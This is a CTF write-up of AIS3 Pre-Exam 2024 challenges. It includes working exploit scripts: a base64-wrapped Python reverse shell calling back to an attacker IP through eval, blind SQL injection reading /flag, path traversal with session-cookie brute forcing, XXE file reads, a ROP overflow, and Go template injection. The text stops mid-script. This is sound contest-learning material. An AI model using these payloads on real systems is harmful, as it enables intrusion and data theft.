AIS3 PRE EXAM 2024 Write Up

Before all

rk.2 !!!
打得很開心>w<b
image

Write Up

Misc

Welcome

直接送 :D
image

Three Dimensional

解包後會看到一個封包檔,Follow TCP Stream會看到一坨 G CODE

image

最後貼去線上NC VIEWER就可以拿FLAG:
image

Flag:AIS3{b4d1y_tun3d_PriN73r}

Emoji Console

用emoji寫bash?!
Payload 1

1
🐱 ⭐ -> cat *

獲得app.py以及emoji.json,可以做對照,同時知道flag是一個目錄。
image
Payload 2

1
💿 🚩 😜 😶 🐱 ⭐ -> cd flag ;p :| cat *

先cd flag,然後遇到;切割符,最後即便 p :| 是不具意義的執行依然不影響 cat*。
找到flag-printer.py:
image
Payload 3
執行剛剛那隻程式就好:

1
💿 🚩 😜 😶 🐍 ⭐ -> cd flag ;p :| python *

image

Flag:AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈}

Quantum Nim Heist

一個怪怪的Nim遊戲,正常玩必輸
玩了幾次,發現玩到後面如果在選單輸入0 0可以讓電腦亂走(?)
最後抓準時間認真玩就過了(出洞的點應該是輸入的時候沒有做範圍外判斷)。
image

Flag:AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}

Hash Guesser

一個圖片上傳網站,會隨機生成一個16*16的圖片,最後用這個函數去比對是否一樣:

1
2
3
4
from PIL import Image, ImageChops

def is_same_image(img1: Image.Image, img2: Image.Image) -> bool:
return ImageChops.difference(img1, img2).getbbox() == None

其中,ImageChops.difference函數產生的資料大小是min(img1, img2),這時候只要生成一個大小為一的影像就有1/2的機率過:
exp.py

1
2
3
def generate_test_image():
image = Image.new("L", (1, 1), 0)
return image

image

Reference

Flag:AIS3{https://github.com/python-pillow/Pillow/issues/2982}

Web

Evil Calculator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from flask import Flask, request, jsonify, render_template

app = Flask(__name__)

@app.route('/calculate', methods=['POST'])
def calculate():
data = request.json
expression = data['expression'].replace(" ","").replace("_","")
try:
result = eval(expression)
except Exception as e:
result = str(e)
return jsonify(result=str(result))

@app.route('/')
def index():
return render_template('index.html')

if __name__ == '__main__':
app.run("0.0.0.0",5001)

可以發現直接把東西丟到eval處理,但是要避開使用空格和底線_
在字串中可以利用\x20繞過空格限制
最後利用base64編碼以及 exec 的函數搭配 reverse shell payload進行RCE
exp.py

1
2
3
4
5
6
7
8
9
10
import base64
import requests as req
payload='import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.113.193.219",9003));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
payload=base64.b64encode(payload.encode())
payload=f'exec("import\\x20base64;exec(base64.b64decode({payload}))")'

url='http://chals1.ais3.org:5001/calculate'

web=req.post(url, json={"expression":payload})
print(web.text)

result
image

Flag:AIS3{7RiANG13_5NAK3_I5_50_3Vi1}

It’s MyGO!!!!!

裸裸ㄉSQLI(boolean base)
二分搜開下去就好:
唯一要注意的是有UNICOODE字元,要搭配hex()函數
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests as req
flag=''
charset='0123456789ABCDEF'
def test(number, char):
url=f'http://chals1.ais3.org:11454/song?id=2 AND HEX(SUBSTRING(LOAD_FILE("/flag"), 1, {number}))>="{flag+char}"'
web=req.get(url)
return 'No Data' not in web.text

while flag[-2:]!='7D':
l, r=0, 16
while l+1<r:
mid=(l+r)//2
#print(l, r)
if test(len(flag)+1, charset[mid]):
l=mid
else:
r=mid
flag+=charset[l]
if len(flag)%2==0:
print(bytes.fromhex(flag))

print(bytes.fromhex(flag).decode('utf-8'))

Flag:AIS3{CRYCHIC_Funeral_😭🎸😭🎸😭🎤😭🥁😸🎸}

Login Panel Revenge Revenge

unintended solution warning
views.py 中可以得知帳號密碼為admin/admin,而登入後還必須去/2fa輸入正確的2fa代碼才可以拿到flag,另外有一個image的函數可以取得/loginPanel目錄下的內容。

views.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from django.shortcuts import render, redirect
from django.http import HttpResponse
import random
from .forms import LoginForm, _2faForm
import logging
from base64 import b64decode
import os


# Create your views here.
def index(request):
return redirect(login)

def login(request):
if request.method == "POST":
form = LoginForm(request.POST)
if not form.is_valid():
return redirect(f'/login?error=Invalid CAPTCHA')
if (form.cleaned_data["username"] == "admin" and form.cleaned_data["password"] == "admin"):
request.session["username"] = "admin"
request.session["2fa_passed"] = False
code = random.randint(100000, 2**1024)
request.session["2fa_code"] = code
logging.warning(f'2FA code: {code}')
return redirect(_2fa)
return redirect(f'/login?error=Invalid username/password')
return render(request, "login.html", {"error": request.GET.get("error"), 'form': LoginForm()})

def _2fa(request):
if not request.session.get("username"):
return redirect("/login")
if request.session.get("2fa_passed"):
return redirect("/dashboard")
if request.method == "POST":
form = _2faForm(request.POST)
if not form.is_valid():
return redirect(f'https://www.youtube.com/watch?v=W8DCWI_Gc9c')
code = request.session.get("2fa_code")
if form.cleaned_data['code'] == str(code):
request.session["2fa_passed"] = True
return redirect("/dashboard")
return redirect("/2fa?error=Invalid code")
return render(request, "2fa.html", {"error": request.GET.get("error")})

def dashboard(request):
if not request.session.get("username"):
return redirect(login)
if not request.session.get("2fa_passed"):
return redirect(login)
FLAG = os.environ.get("FLAG")
return render(request, "dashboard.html", {"username": request.session.get("username"), "FLAG": FLAG})

def image(request):
# return the b64decoded image of file parameter
path = request.GET.get("file")
if not path:
return HttpResponse("No file specified", status=400)
path = b64decode(path).decode()

path = os.path.join('/loginPanel', path)
path = os.path.normpath(path)

# prevent directory traversal
if not path.startswith('/loginPanel'):
return HttpResponse("Invalid file", status=400)

# read the file
with open(path, 'rb') as f:
data = f.read()

# return the file
return HttpResponse(data, content_type="image/png")

def logout(request):
request.session.flush()
return redirect(login)

再去看settings.py中這一段:

1
2
3
4
5
6
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': BASE_DIR / 'db.sqlite3',
}
}

結合剛剛views.pyimage的函數,可以下載db.sqlite3下來:

1
wget http://chals1.ais3.org:36743/image/?file=ZGIuc3FsaXRlMw== -O db.sqlite3

接著利用腳本讀取db.sqlite3:
checksql.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/python3
import sqlite3
import argparse
import os

def print_sql_content(database_file):
os.system(f'if [ -f "{database_file}" ]; then echo "File exists: {database_file}";fi')
try:
conn = sqlite3.connect(database_file)
cursor = conn.cursor()
cursor.execute("SELECT name FROM sqlite_master WHERE type='table';")
tables = cursor.fetchall()
for table in tables:
table_name = table[0]
print(f"Table: {table_name}")
cursor.execute(f"SELECT * FROM {table_name};")
rows = cursor.fetchall()
for row in rows:
print(row)
conn.close()
except sqlite3.Error as e:
print("SQLite error:", e)

if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Print the content of an SQLite3 database file.")
parser.add_argument("--sql", type=str, help="Path to the SQLite3 database file, usage: --sql=blog.sql", required=True)
args = parser.parse_args()
print_sql_content(args.sql)

image

其中,django_session的Table存放了所有session,結合目前已經有一個選手解出這題,當中必然有一個session是被認證過的,把所有session彙整到wordlist.txt後寫腳本暴力即可獲得flag:
exp.py

1
2
3
4
5
6
7
8
import os
f=open('wordlist.txt', 'r')
wordlist=f.read().split('\n')
for i in wordlist:
text=os.popen(f'curl -i http://chals1.ais3.org:36743/dashboard/ --cookie "sessionid={i}"').read()
if '/login/' not in text:
print(text)
print(i)

image

Flag:AIS3{Yet_An0th3r_l0gin_pan3l_c2hbKnXIa_c!!!!!}

Capoost

一個黑箱的web題,登入後經過嘗試會發現讀取模板的參數有LFI,嘗試讀取Dockerfile:
/template/read?name=../Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
FROM golang:1.19 as builder

LABEL maintainer="Chumy"

RUN apt install make

COPY src /app
COPY Dockerfile-easy /app/Dockerfile
WORKDIR /app
RUN make clean && make && make readflag && \
mv bin/readflag /readflag && \
mv fl4g1337 /fl4g1337 && \
chown root:root /readflag && \
chmod 4555 /readflag && \
chown root:root /fl4g1337 && \
chmod 400 /fl4g1337 && \
touch .env && \
useradd -m -s /bin/bash app && \
chown -R app:app /app

USER app

ENTRYPOINT ["./bin/capoost"]

發現網站是由GoLANG寫成的,嘗試讀取main.go
/template/read?name=../main.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package main
import (
// "net/http"
"github.com/gin-gonic/gin"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/go-errors/errors"

"capoost/router"
"capoost/utils/config"
// "capoost/utils/database"
"capoost/utils/errutil"
"capoost/middlewares/auth"
)

注意到每個.go的檔案都會有import,就可以從這裡面找到需要的檔案路徑位置。
Login Bypass
注意到models/user/user.go中的init()以及Login()函數

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
func init() {
const adminname = "4dm1n1337"
database.GetDB().AutoMigrate(&User{})

if _, err := GetUser(adminname); err == nil {
return
}

buf := make([]byte, 12)
_, err := rand.Read(buf)
if err != nil {
log.Panicf("error while generating random string: %s", err)
}
User{
//ID: 1,
Username: adminname,
Password: password.New(base64.StdEncoding.EncodeToString(buf)),
}.Create()
}
func (user User) Login() bool {
if user.Username == "" {
return false
}
if _, err := GetUser(user.Username); err == nil {
var loginuser User
result := database.GetDB().Where(&user).First(&loginuser)
return result.Error == nil
}
return user.Create() == nil
}

可以得到兩個訊息:

  1. 管理員名稱是4dm1n1337
  2. 管理登入的函數動用到sql的部分接受傳入空資料
    關於第二點,可以透過這篇文章找到利用細節,會返回第一個元素,也就是ID=1的管理員帳號
    image

image

SSTI
觀察router/template/template.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
func Init(r *gin.RouterGroup) {
router = r
router.POST("/upload", auth.CheckSignIn, auth.CheckIsAdmin, upload)
router.GET("/list", auth.CheckSignIn, list)
router.GET("/read", auth.CheckSignIn, read)
}
func upload(c *gin.Context) {
reg := regexp.MustCompile(`[^a-zA-Z0-9]`)
template := c.PostForm("template")
name := reg.ReplaceAllString(c.PostForm("name"), "")
f, err := os.Create(path.Clean(path.Join("./template", name)))
if err != nil {
panic(err)
}
_, err = f.WriteString(template)
if err != nil {
panic(err)
}
c.String(200, "Upload success")
}

可以利用剛剛拿到的admin上傳template進行SSTI,但是GO SSTI只在內建或者已定義函數的情況下成立,不過剛好有一個gadget在post.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
func read(c *gin.Context) {
postid, err := strconv.Atoi(c.DefaultQuery("id", "0"))
if err != nil {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid ID",
})
}
nowpost, err := post.GetPost(uint(postid))
if err != nil {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid ID",
})
}
t := template.New(nowpost.Template)
if nowpost.Owner.ID == 1 {
t = t.Funcs(template.FuncMap{
"G1V3m34Fl4gpL34s3": readflag,
})
}
t = template.Must(t.ParseFiles(path.Join("./template", nowpost.Template)))
b := new(bytes.Buffer)
if err = t.Execute(b, nowpost.Data); err != nil {
panic(err)
}
nowpost.Count++
sum := 0
posts, _ := post.GetAllPosts()
for _, now := range posts {
if nowpost.ID == now.ID {
sum += nowpost.Count
} else {
sum += now.Count
}
}
var percent int
if sum != 0 {
percent = (nowpost.Count * 100) / sum
} else {
errutil.AbortAndError(c, &errutil.Err{
Code: 500,
Msg: "Sum of post count can't be 0",
})
}
if strings.Contains(b.String(), "AIS3") {
errutil.AbortAndError(c, &errutil.Err{
Code: 403,
Msg: "Flag deny",
})
}
nowpage := page{
Data: b.String(),
Count: nowpost.Count,
Percent: percent,
}
c.JSON(200, nowpage)
database.GetDB().Save(&nowpost)
}

func readflag() string {
out, _ := exec.Command("/readflag").Output()
return strings.Trim(string(out), " \n\t")
}

由裡面的FuncMap得知,如果template解析到G1V3m34Fl4gpL34s3,而且貼出來的人是管理員,那它會噴flag出來。
有兩個小問題,第一個是禁止把AIS3這幾個字母帶出來,但可以用GO內建的slice函數繞過,所以打進去的template應該要是:{{slice G1V3m34Fl4gpL34s3 2}}
第二個問題是/post/create有禁止管理員造訪:

1
2
3
4
5
6
func Init(r *gin.RouterGroup) {
router = r
router.POST("/create", auth.CheckSignIn, auth.CheckIsNotAdmin, create)
router.GET("/list", auth.CheckSignIn, list)
router.GET("/read", auth.CheckSignIn, read)
}

json serialization pollution
為了解決剛剛的問題,仔細觀察router/post/post.go以及models/post/post.go

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
type postjson struct {
ID uint `json:"id"`
Title string `json:"title"`
Owner string `json:"owner"`
Template string `json:"template"`
Data PostDataMap `json:"data"`
Count int `json:"count"`
}
func create(c *gin.Context) {
userdata, _ := c.Get("user")
postdata := post.Post{
Owner: userdata.(user.User),
}
err := c.ShouldBindJSON(&postdata)
if err != nil || postdata.Title == "" {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid Post",
})
return
}
reg := regexp.MustCompile(`[^a-zA-Z0-9]`)
postdata.Template = reg.ReplaceAllString(postdata.Template, "")
if _, err := os.Stat(path.Clean(path.Join("./template", postdata.Template)));
path.Clean(path.Join("./template", postdata.Template)) == path.Clean("./template") ||
errors.Is(err, os.ErrNotExist) {
errutil.AbortAndError(c, &errutil.Err{
Code: 400,
Msg: "Invalid Post",
})
return
}
postdata.Create()

c.String(200, "Post success")
}

發現序列化綁成json的時候會把所有參數直接吃進去,而”owner”字串正好就可以由一般使用者發文後渲染成4dm1n1337
像這樣:

1
2
3
4
5
{"title":"pwned by whale120",
"owner":"4dm1n1337",
"template":"womp",
"data":{}
}

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import argparse
import requests as req
from pwn import info

cur_id=1
def check_cur_id():
global cur_id
bad_response=req.get(url+'/post/read?id=-1', cookies=user_cookies).text
while req.get(url+f'/post/read/?id={cur_id}', cookies=user_cookies).text != bad_response:
cur_id+=1

def login_user(username, password):
data={"username":username, "password":password}
cookies={}
cookies['session']=req.post(url+'/user/login', json=data).headers['Set-Cookie'].split(';')[0].replace('session=', '')
return cookies

def upload_template():
payload='{{slice G1V3m34Fl4gpL34s3 4}}'
data={'template':payload, 'name':'womp'}
req.post(url+'/template/upload', data=data, cookies=admin_cookies)

def read_flag():
payload={"title":"pwned by whale120","owner":"4dm1n1337","template":"womp","data":{}}
web=req.post(url+'/post/create', json=payload, cookies=user_cookies)
flag=req.get(url+f'/post/read?id={cur_id}', cookies=user_cookies).json()["data"]
info(f'Flag : AIS3{flag}')

if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit Capooooooooost!!!")
parser.add_argument("--url", type=str, help="The target capoost base url.", required=True)
args = parser.parse_args()
url=args.url
if url[-1]=='/':
url=url[:-1]
user_cookies=login_user('whale120', 'whale120')
admin_cookies=login_user('4dm1n1337', '')
info('Login Success')
check_cur_id()
info(f'Current post id = {cur_id}')
upload_template()
info('Template Uploaded')
read_flag()

image

Flag:AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}

Ebook Parser

app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import tempfile
import pathlib
import secrets

from os import getenv, path

import ebookmeta

from flask import Flask, request, jsonify
from flask.helpers import send_from_directory

app = Flask(__name__, static_folder='static/')
app.config['JSON_AS_ASCII'] = False
app.config['MAX_CONTENT_LENGTH'] = 1024 * 1024

@app.route('/', methods=["GET"])
def index():
return send_from_directory('static', 'index.html')

@app.route('/parse', methods=["POST"])
def upload():
if 'ebook' not in request.files:
return jsonify({'error': 'No File!'})

file = request.files['ebook']

with tempfile.TemporaryDirectory() as directory:
suffix = pathlib.Path(file.filename).suffix
fp = path.join(directory, f"{secrets.token_hex(8)}{suffix}")
file.save(fp)
app.logger.info(fp)
try:
meta = ebookmeta.get_metadata(fp)
return jsonify({'message': "\n".join([
f"Title: {meta.title}",
f"Author: {meta.author_list_to_string()}",
f"Lang: {meta.lang}",
])})
except Exception as e:
print(e)
return jsonify({'error': f"{e.__class__.__name__}: {str(e)}"}), 500


if __name__ == "__main__":
port = getenv("PORT", 8888)
app.run(host="0.0.0.0", port=port)

上github挖到了這個issue:https://github.com/dnkorpushov/ebookmeta/issues/16
payload改一下上傳就拿到flagㄌ
exp.fb2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///flag" >]>
<FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink">
<description>
<title-info>
<genre>antique</genre>
<author><first-name></first-name><last-name>&xxe;</last-name></author>
<book-title>&xxe;</book-title>
<lang>&xxe;</lang>
</title-info>
<document-info>
<author><first-name></first-name><last-name>Unknown</last-name></author>
<program-used>calibre 6.13.0</program-used>
<date>26.5.2024</date>
<id>eb5cbf82-22b5-4331-8009-551a95342ea0</id>
<version>1.0</version>
</document-info>
<publish-info>
</publish-info>
</description>
<body>
<section>
<p>&lt;root&gt;</p>
<p>12345</p>
<p>&lt;/root&gt;</p>
</section>
</body>

</FictionBook>

image

Flag: AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}

Pwn

Mathter

在main函數中會先進入calculator的函數:
image
輸入q就可以略過

略過後會進到 goodbye 的函數,這邊使用gets函數而出現了 Buffer Overflow的洞:

image

大小為4
而這個程式結尾沒有__stack__chk__fail,所以不需要繞過保護。

接著觀察程式,發現win1和win2的函數,分別把flag切成前半以及後半段:
win1
image

win2
image

可是要讓a1變成他們分別要求的數字,利用radare2做觀察:
image

arg在rdi上面,最後只需加上pop rdi的gadget改掉rdi值就可以跳過去拿到flag。

image

最後採用兩次連線的方法前後拿到flag並組合:
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context.arch='amd64'
#rop=ROP('./mathter')
#r=process('./mathter')

# datas

win1=0x004018c5
win2=0x00401997
key1=0xDEADBEEF
key2=0xCAFEBABE
pop_rdi=0x402540

# exploit

r=remote('chals1.ais3.org', 50001)
r.sendline(b'q')
r.sendline(b'Y'*12+p64(pop_rdi)+p64(key1)+p64(win1))
print(r.recvall().decode())
r.close()
r=remote('chals1.ais3.org', 50001)
r.sendline(b'q')
r.sendline(b'Y'*12+p64(pop_rdi)+p64(key2)+p64(win2))
print(r.recvall().decode())
r.close()

Flag:AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}

Rev

The Long Print

直接運行程式會發現跑很久,以ida打開發現有sleep,先把秒數patch成0

before
image

after
image

接著會發現每次輸出都會被fflush刪除flag內容,利用strace指令去追蹤:

1
strace ./flag-printer-dist

image

最後再一個個撿回來拼就好:

Flag:AIS3{You_are_the_master_of_time_management!!!!?}

火拳のエース

一個密碼檢查程式,先看ghidra結果:
print_flag()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

void print_flag(void)

{
int local_14;
__useconds_t local_10;

printf(
"What I\'m about to say. Old Man... Everyone... And you, Luffy... Even though... I\'m so wor thless... Even though... I carry the blood of a demon... Thank you... For loving me\nThe fla g is "
);
local_10 = 2000000;
usleep(2000000);
for (local_14 = 0; (&DAT_0804a008)[local_14] != '\0'; local_14 = local_14 + 1) {
usleep(local_10);
printf("%c ",(int)(char)(&DAT_0804a008)[local_14]);
fflush(stdout);
local_10 = local_10 << 1;
}
usleep(local_10);
puts("\n...uh, the rest, I\'ve forgotten it. Do you remember the rest of it?");
return;
}

再去翻殘留資料段可以拿到前面的flag:AIS3{G0D(或者直接跑起來)
image
main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

undefined4 main(void)

{
char cVar1;
uint __seed;
int iVar2;
int local_14;

__seed = time((time_t *)0x0);
srand(__seed);
buffer0 = (char *)malloc(9);
buffer1 = (char *)malloc(9);
buffer2 = (char *)malloc(9);
buffer3 = (char *)malloc(9);
memset(buffer0,0,9);
memset(buffer1,0,9);
memset(buffer2,0,9);
memset(buffer3,0,9);
print_flag();
__isoc99_scanf("%8s %8s %8s %8s",buffer0,buffer1,buffer2,buffer3);
xor_strings(buffer0,&DAT_0804a163,buffer0);
xor_strings(buffer1,&DAT_0804a16c,buffer1);
xor_strings(buffer2,&DAT_0804a175,buffer2);
xor_strings(buffer3,&DAT_0804a17e,buffer3);
for (local_14 = 0; local_14 < 8; local_14 = local_14 + 1) {
cVar1 = complex_function((int)buffer0[local_14],local_14);
buffer0[local_14] = cVar1;
cVar1 = complex_function((int)buffer1[local_14],local_14 + 0x20);
buffer1[local_14] = cVar1;
cVar1 = complex_function((int)buffer2[local_14],local_14 + 0x40);
buffer2[local_14] = cVar1;
cVar1 = complex_function((int)buffer3[local_14],local_14 + 0x60);
buffer3[local_14] = cVar1;
}
iVar2 = strncmp(buffer0,"DHLIYJEG",8);
if (iVar2 == 0) {
iVar2 = strncmp(buffer1,"MZRERYND",8);
if (iVar2 == 0) {
iVar2 = strncmp(buffer2,"RUYODBAH",8);
if (iVar2 == 0) {
iVar2 = strncmp(buffer3,"BKEMPBRE",8);
if (iVar2 == 0) {
puts("Yes! I remember now, this is it!");
goto LAB_08049869;
}
}
}
}
puts("It feels slightly wrong, but almost correct...");
LAB_08049869:
free(buffer0);
free(buffer1);
free(buffer2);
free(buffer3);
return 0;
}

其中,xor_strings就真的是xor兩個字串,再去看complex_function
complex_function()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

int complex_function(int param_1,int param_2)

{
int iVar1;
int local_10;

if ((0x40 < param_1) && (param_1 < 0x5b)) {
local_10 = (param_1 + -0x41 + param_2 * 0x11) % 0x1a;
iVar1 = param_2 % 3 + 3;
param_2 = param_2 % 3;
if (param_2 == 2) {
local_10 = ((local_10 - iVar1) + 0x1a) % 0x1a;
}
else if (param_2 < 3) {
if (param_2 == 0) {
local_10 = (local_10 * iVar1 + 7) % 0x1a;
}
else if (param_2 == 1) {
local_10 = (iVar1 * 2 + local_10) % 0x1a;
}
}
return local_10 + 0x41;
}
puts("It feels slightly wrong, but almost correct...");
/* WARNING: Subroutine does not return */
exit(1);
}

最後,把complex_function寫成py,暴力炸出每一位後再把資料段挖出來做xor就結束~
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from Crypto.Util.number import *
from pwn import *

def complex_function(a1, a2):
v8 = (17 * a2 + a1 - 65) % 26
v7 = a2 % 3 + 3
v2 = a2 % 3
if a2 % 3 == 2:
v8 = (v8 - v7 + 26) % 26
elif v2 <= 2:
if v2:
if v2 == 1:
v8 = (2 * v7 + v8) % 26
else:
v8 = (v7 * v8 + 7) % 26
return v8 + 65

flag=[0]*32

key1=long_to_bytes(0x0E0D7D060F177604)
key2=long_to_bytes(0x6D001B7C6C136211)
key3=long_to_bytes(0X1E7E061307660E71)
key4=long_to_bytes(0X17141D7079677433)
key=key1+key2+key3+key4

ans1="DHLIYJEG"
ans2="MZRERYND"
ans3="RUYODBAH"
ans4="BKEMPBRE"
ans=[ans1, ans2, ans3, ans4]

for i in range(8):
for j in range(4):
for k in range(65, 91):
if complex_function(k, i+j*32)==ord(ans[j][i]):
flag[i+j*8]=k
# print(xor(flag, 0))
# print(xor(flag, key))
print(b'AIS3{G0D'+xor(flag, key))

Flag:AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}

Crypto

babyRSA

babyRSA.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import random
from Crypto.Util.number import getPrime
from secret import flag
def gcd(a, b):
while b:
a, b = b, a % b
return a

def generate_keypair(keysize):
p = getPrime(keysize)
q = getPrime(keysize)
n = p * q
phi = (p-1) * (q-1)

e = random.randrange(1, phi)
g = gcd(e, phi)
while g != 1:
e = random.randrange(1, phi)
g = gcd(e, phi)
d = pow(e, -1, phi)
return ((e, n), (d, n))

def encrypt(pk, plaintext):
key, n = pk
cipher = [pow(ord(char), key, n) for char in plaintext]
return cipher

def decrypt(pk, ciphertext):
key, n = pk
plain = [chr(pow(char, key, n)) for char in ciphertext]
return ''.join(plain)

public, private = generate_keypair(512)
encrypted_msg = encrypt(public, flag)
decrypted_msg = decrypt(private, encrypted_msg)

print("Public Key:", public)
print("Encrypted:", encrypted_msg)
# print("Decrypted:", decrypted_msg)

簡單觀察,會發現對於每個字母c,都有唯一對應的名文,所以先枚舉0~255的case建表以後再把output轉回去就好。

exp.py

1
2
3
4
5
6
7
8
9
e, n=(64917055846592305247490566318353366999709874684278480849508851204751189365198819392860386504785643859...
table={}
for i in range(256):
table[pow(i, e, n)]=i
enc=[595829831363684348568167997333134467464337960343847242211744244649697378748021161293486079793280988417...
flag=''
for i in enc:
flag+=chr(table[i])
print(flag)

Flag:AIS3{NeverUseTheCryptographyLibraryImplementedYourSelf}

easyRSA

easyRSA.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
#!/bin/python3
import random
from Crypto.Util.number import getPrime, bytes_to_long, long_to_bytes
from hashlib import sha256
from base64 import b64encode, b64decode
from secret import flag
import signal

def alarm(second):
# This is just for timeout.
# It should not do anything else with the challenge.
def handler(signum, frame):
print('Timeout!')
exit()
signal.signal(signal.SIGALRM, handler)
signal.alarm(second)

def gcd(a, b):
while b:
a, b = b, a % b
return a

def generate_keypair(keysize):
p = getPrime(keysize)
q = getPrime(keysize)
n = p * q
phi = (p-1) * (q-1)

e = random.randrange(1, phi)
g = gcd(e, phi)
while g != 1:
e = random.randrange(1, phi)
g = gcd(e, phi)
d = pow(e, -1, phi)
# for CRT optimize
dP = d % (p-1)
dQ = d % (q-1)
qInvP = pow(q, -1, p)
return ((e, n), (dP, dQ, qInvP, p, q))

def verify(pk, message: bytes, signature: bytes):
e, n = pk
data = bytes_to_long(sha256(message).digest())
return data == pow(bytes_to_long(signature), e, n)

bug = lambda : random.randrange(0, 256)
def sign(sk, message: bytes):
dP, dQ, qInvP, p, q = sk
data = bytes_to_long(sha256(message).digest())
# use CRT optimize to sign the signature,
# but there are bugs in my code QAQ
a = bug()
mP = pow(data, dP, p) ^ a
b = bug()
mQ = pow(data, dQ, q) ^ b
k = (qInvP * (mP - mQ)) % p
signature = mQ + k * q
return long_to_bytes(signature)


if __name__ == "__main__":
alarm(300)

public, private = generate_keypair(512)
print("""
***********************************************************
Have you heard CRT optimization for RSA? I have implemented
a CRT-RSA signature. However, there are bugs in my code...
---------------------------------------------------------
1) Print public key.
2) Sign a message.
3) Give me flag?
4) Bye~
***********************************************************
""")

for _ in range(5):
try:
option = input("Option: ")
if int(option) == 1:
print('My public key:')
print(f"e, n = {public}")

elif int(option) == 2:
message = input("Your message (In Base64 encoded): ")
message = b64decode(message.encode())
if b"flag" in message:
print(f"No, I cannot give you the flag!")
else:
signature = sign(private, message)
signature = b64encode(signature)
print(f"Signature: {signature}")

elif int(option) == 3:
signature = input("Your signature (In Base64 encoded): ")
signature = b64decode(signature.encode())
message = b64encode(b"Give me the flag!")
if verify(public, message, signature):
print(f"Well done! Here is your flag :{flag}")
else :
print("Invalid signature.")

else:
print("Bye~~~~~")
break
except Exception as e:
print(e)
print("Something wrong?")
exit()

重點觀察sign()

1
2
3
4
5
6
7
8
9
10
11
12
def sign(sk, message: bytes):
dP, dQ, qInvP, p, q = sk
data = bytes_to_long(sha256(message).digest())
# use CRT optimize to sign the signature,
# but there are bugs in my code QAQ
a = bug()
mP = pow(data, dP, p) ^ a
b = bug()
mQ = pow(data, dQ, q) ^ b
k = (qInvP * (mP - mQ)) % p
signature = mQ + k * q
return long_to_bytes(signature)

兩次丟一樣的東西進去的結果會不一樣(因為有bug()),但因為bug()的值不大,導致兩次結果會十分接近,並且k值很高機率不同,所以可以嘗試兩者相減後減1~256的結果與n的最大公因數,大於1者即找到q的值。
exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
from base64 import *
from hashlib import sha256
